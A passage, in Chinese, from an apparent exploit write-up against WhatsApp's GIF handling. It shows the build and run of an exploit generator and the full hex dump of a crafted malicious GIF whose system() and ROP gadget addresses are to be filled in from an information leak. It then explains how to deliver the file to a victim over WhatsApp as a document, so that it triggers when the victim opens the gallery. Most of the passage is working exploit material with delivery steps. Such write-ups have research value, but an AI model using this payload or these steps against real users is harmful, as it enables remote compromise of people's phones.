system() 和 gadget 的地址必须通过信息泄露漏洞找到的实际地址进行替换。
替换 system() 和 gadget 的地址后，运行代码以生成损坏的 GIF 文件：
notroot@osboxes:~/Desktop/gif$ make
.....
.....
.....
notroot@osboxes:~/Desktop/gif$ ./exploit exploit.gif
buffer = 0x7ffc586cd8b0 size = 266
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC
FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00
00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08
9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0
C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40
C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A
34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00
00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00
18 00 0A 00 0F 00 01 00 00 3B
然后复制 exploit.gif 文件，并通过 WhatsApp 以文档（Document）形式发送给另一位 WhatsApp 用户。注意，不能以媒体文件（Media）形式发送，否则 WhatsApp 会在发送前尝试将其转换为 MP4。当用户接收到这个恶意的 GIF 文件后，不会立即发生任何事情，直到用户打开 WhatsApp 图库（Gallery）并准备向好友发送媒体文件时才会触发。